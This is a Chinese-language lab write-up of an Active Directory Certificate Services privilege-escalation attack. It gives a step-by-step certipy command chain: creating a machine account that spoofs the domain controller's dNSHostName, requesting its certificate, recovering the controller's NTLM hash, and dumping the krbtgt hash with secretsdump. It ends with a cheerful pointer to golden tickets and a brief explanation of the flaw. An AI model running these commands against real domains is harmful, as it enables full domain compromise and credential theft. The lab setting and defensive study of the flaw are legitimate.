靶机环境搭建
- 域控DC(需要安装证书服务):172.16.125.156
- 攻击机Kali:172.16.125.157
- 域控普通账户:zhangsan/zs1234567890*
- 攻击工具:
靶机域控安装证书服务关键
攻击过程
漏洞信息收集
certipy find -debug -u [email protected] -p "zs1234567890*" -dc-ip 172.16.125.156
注册机器账号
certipy account create -u "[email protected]" -p "zs1234567890*" -dc-ip 172.16.125.156 -user "machinetestcymm" -dns "dc01.sec.com" -debug
注册机器账号证书
sudo certipy req -u "machinetestcymm$" -p "rFQeKXLCmmDQ5MuZ" -dc-ip 172.16.125.156 -ca sec-dc01-ca -template Machine -debug
获取机器账号NTLM-Hash
certipy auth -pfx dc01.pfx -dc-ip 172.16.125.156 -debug
获取Krbtgt的NTLM-Hash
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:69eb46ed2b60a1c81bcc9fb09ffe9cfc "sec.com/dc01\[email protected]" -just-dc-user krbtg
后记
然后该做啥大家应该都清楚了吧,哈哈哈哈,黄金票据啊直接上。
原理
默认情况下:
- 域用户注册 User 证书模板;
- 域计算机注册 Machine 证书模板。
这两个证书模板都允许客户端身份验证。当用户账户申请 User 模板证书时,使用UPN(用户名@AD域名)这个唯一ID嵌入到证书中以进行识别,User 证书模板的 msPKI-Certificate-Name-Flag 属性存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_UPN 标志位,其指示 CA 将来自 Active Directory 中请求者用户对象的 UPN 属性值(用户名@AD域名)添加到已颁发证书的主题备用名称中。
而Machine证书模板没有UPN属性,但Machine证书模板的 msPKI-Certificate-Name-Flag 属性还存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_DNS标志位,其指示 CA 将从 Active Directory 中请求者用户对象的 DNS 属性获得的值添加到已颁发证书的主题备用名称中。
而这个dNSHostName属性值并不唯一,通过User用户创建Machine账户,将Machine账户(具有写入权限)的dNSHostName值改为与域控制器的计算机账户相同的dNSHostName值,欺骗AD CS申请到域控制器的AD证书。但SPN属性具有唯一性,它包含dNSHostName,如果dNSHonstName发生改变会带动servicePrintcipalName的RestrictedKrbHost和Host发生改变,由于唯一性会发生报错,所以想要漏洞完成漏洞要删除账户中的servicePrincipalName属性值。